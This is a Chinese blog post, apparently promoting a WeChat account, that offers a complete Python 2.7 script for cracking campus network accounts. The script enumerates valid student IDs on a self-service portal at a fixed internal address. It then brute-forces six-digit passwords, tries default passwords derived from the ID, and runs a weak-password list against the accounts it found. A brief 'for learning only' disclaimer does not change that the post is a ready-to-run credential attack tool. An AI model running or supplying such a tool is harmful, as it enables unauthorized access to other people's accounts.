校園網密碼破解程序

環境:Python 2.7

#!/usr/bin/env python
#coding=utf8
print "+"*50
print u"功能:簡單破解校園網賬號"
print u"微信公衆號:電腦趣事"
print u"僅供學習交流使用,嚴禁違法犯罪,否則後果自負"
print "+"*50

import httplib
import urllib
import re


username=[]
httpClient = None
If_password =[000000,123456,123123,456456,789789,110110,110120,111111,222222,333333,444444,555555,666666,777777,888888,999999,5201314]

def Determine():
	nj = int(raw_input("please select a class 15,16,17:").strip())
	start =int(raw_input("please input start(Prompt:1234):").strip())
	end = int(raw_input("please input end(Prompt:5678):").strip())
	
	if (end <=start or (nj != 15 and nj != 16 and nj!=17)):
		print u"輸入有誤,請重新選擇"
		print '='*50
		menu()
		exit()
	else:
		print "please wait a moment "

	#構造學號
	for i in range(start,end):
	    for j in range(0,100):
	        key_numer = int(str(nj)+str(i).zfill(4)+str(j).zfill(3))
	        
	        try:
	            params = urllib.urlencode({'key': key_numer})
	            headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
	            httpClient = httplib.HTTPConnection("10.54.100.1", 8080, timeout=30)
	            httpClient.request("POST", "/selfservice/module/userself/web/userself_reg_ajax.jsf?methodName=regUserinfoBean.checkUser", params, headers)
	            response = httpClient.getresponse()
	            right_or_wrong = response.read()
	            #正則和判斷
	            zhengze = re.findall( r'false',right_or_wrong , re.M|re.I)
	            if len(zhengze) == 1:
	                username.append(key_numer)
	            
	        except Exception, e:
	            print e
	        finally:
	            if httpClient:
	                httpClient.close()
	print "."*50
	print u"在這個範圍內已開通的賬號有:"
	print ""
	print username
	print "."*50
	return username

def Connect(UserName,PassWord):
	global a
	try:
		params = urllib.urlencode({'name': UserName,'password':PassWord})
		headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
		httpClient = httplib.HTTPConnection("10.54.100.1", 8080, timeout=30)
		httpClient.request("POST", "/selfservice/module/scgroup/web/login_judge.jsf", params, headers)
		response = httpClient.getresponse()
		right_or_wrong = response.read()

		pipei = re.findall(r'errorMsg', right_or_wrong, re.M|re.I)
		if len(pipei)==1:
			a = 0 #判斷是否爆破出來的標記
			pass
		else:
			print u"賬號:%s\000\000密碼:%s"%(UserName,PassWord)
			a = 1
			
	except Exception, e:
		print e
	finally:
		if httpClient:
		    httpClient.close()
	return a

def yanzheng():
	UserName = str(raw_input("please select a username input:").strip())
	for i in range(0,1000000):
		PassWord = str(i).zfill(6)
		Connect(UserName,PassWord)
		if a == 1:
			break
		else:
			pass

def Default_password_single():
	UserName = str(raw_input("please select a username input:").strip())
	PassWord = UserName[3:10]
	Connect(UserName,PassWord)
	if a ==0:
		PassWord = '123456'
		Connect(UserName,PassWord)
		if a==0:
			print u"已經查找完成"

def Default_password_not_single():
	print "please wait a moment"
	for i in range(0,len(username)):
		UserName = str(username[i])
		PassWord = UserName[3:10]
		Connect(UserName,PassWord)
		if a ==0:
			PassWord = '123456'
			Connect(UserName,PassWord)
			if (i==len(username)-1 and a == 0):
				print u"已經查找完成"

def if_password():
	print "please wait a moment"
	for i in range(0,len(username)):
		UserName = str(username[i])	
		for j in range(0,len(If_password)):
			PassWord = If_password[j]
			Connect(UserName,PassWord)
			if (i==len(username)-1 and j==len(If_password)-1 and a == 0):
				print u"已經查找完畢"			



def menu():
    print u"歡迎大家關注微信公衆號:“電腦趣事”,請選擇菜單"
    while True:
    	print "*"*50
    	print u"\t(1) 查看已經註冊的賬號"
    	print u"\t(2) 簡單的爆破"
    	print u"\t(3) 默認密碼單個查詢"
    	print u"\t(4) 默認密碼批量查詢"
    	print u"\t(5) 弱口令爆破"
    	print "*"*50
        choices = raw_input("Please choices:").strip()
        if len(choices) == 0:
        	continue
        if choices == '1':
        	Determine()
    	elif choices == '2':
    		yanzheng()
    	elif choices == '3':
    		Default_password_single()
    	elif choices == '4':
    		Default_password_not_single()
    	elif choices == '5':
    		if_password()
        else:
            print u"請注意賬號安全!"
            exit()


if __name__ == '__main__':
	menu()







微信公衆號

wKioL1nnZnCRPP2MAAAhInXKMzc013.jpg

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章